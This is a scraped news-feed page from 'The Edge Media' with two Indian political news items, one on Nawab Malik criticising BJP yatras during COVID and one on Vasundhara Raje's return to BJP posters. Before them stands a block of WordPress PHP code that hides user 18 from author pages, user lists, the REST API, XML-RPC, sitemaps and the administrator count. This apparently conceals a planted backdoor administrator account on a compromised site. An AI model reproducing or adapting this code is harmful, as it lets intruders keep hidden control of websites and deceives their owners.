add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “BJP leaders should realise that people’s lives are more important than elections” : Nawab Malik appeared first on The Edge Media.
]]>Talking to reporters, NCP’s chief spokesperson and state minister Nawab Malik said the BJP leaders should realise that people’s lives are more important than elections.
Newly-inducted Union ministers Narayan Rane, Bharti Pawar, Kapil Patil, and Bhagwat Karad have embarked on ”Jan Ashirwad” yatras in different parts of Maharashtra to reach out to people and thank them for the BJP’s win in elections in the recent past.
Talking about it, Nawab Malik said although the Indian Council of Medical Research (ICMR), the World Health Organization (WHO) and several experts have appealed that crowding should be avoided to prevent the possible third wave, the BJP was doing exactly the opposite.
“Due to the BJP’s programme of the yatras, there is a threat of the third wave. If COVID-19 rules are violated, cases will be filed against the organisers,” he said.
The post “BJP leaders should realise that people’s lives are more important than elections” : Nawab Malik appeared first on The Edge Media.
]]>The post Vasundhara Raje is back on BJP party’s posters appeared first on The Edge Media.
]]>Cabinet minister Bhupendra Yadav’s Jan Ashirwad Yatra has included Raje on the posters, putting an end to the poster row which was going on for the last several months.
Not only has she returned but has also been given prominence as she has been placed centrally in the poster released by the BJP for the Yatra, along with party state president Satish Poonia and Leader of Opposition Gulab Chand Kataria on her flanks.
Other than PM Narendra Modi, national party chief JP Nadda, state incharge Arun Singh, Raje Poonia, and Kataria, the Yatra posters also bear photos of three Union ministers from Rajasthan – Gajendra Singh, Arjun Ram Meghwal and Kailash Choudhary.
Over the development, a party MLA on anonymity commented that this must have been done on directions of Bhupendra Yadav as he always has balanced things. But her inclusion in the poster is not alone, three more faces have been added.
A controversy and war of words had erupted between state BJP workers and Raje’s supporters after photos of Raje were removed from the state’s party posters in state capital Jaipur around two months ago.
Even during the last assembly by-polls on three seats, her photo was missing from hoarding and posters. At Rajsamand, the posters did have her photo but not at all places. A BJP leader had then stated that they are following the protocol and photos of only the CM, the leader of the opposition, and the state party chief can be used.
The post Vasundhara Raje is back on BJP party’s posters appeared first on The Edge Media.
]]>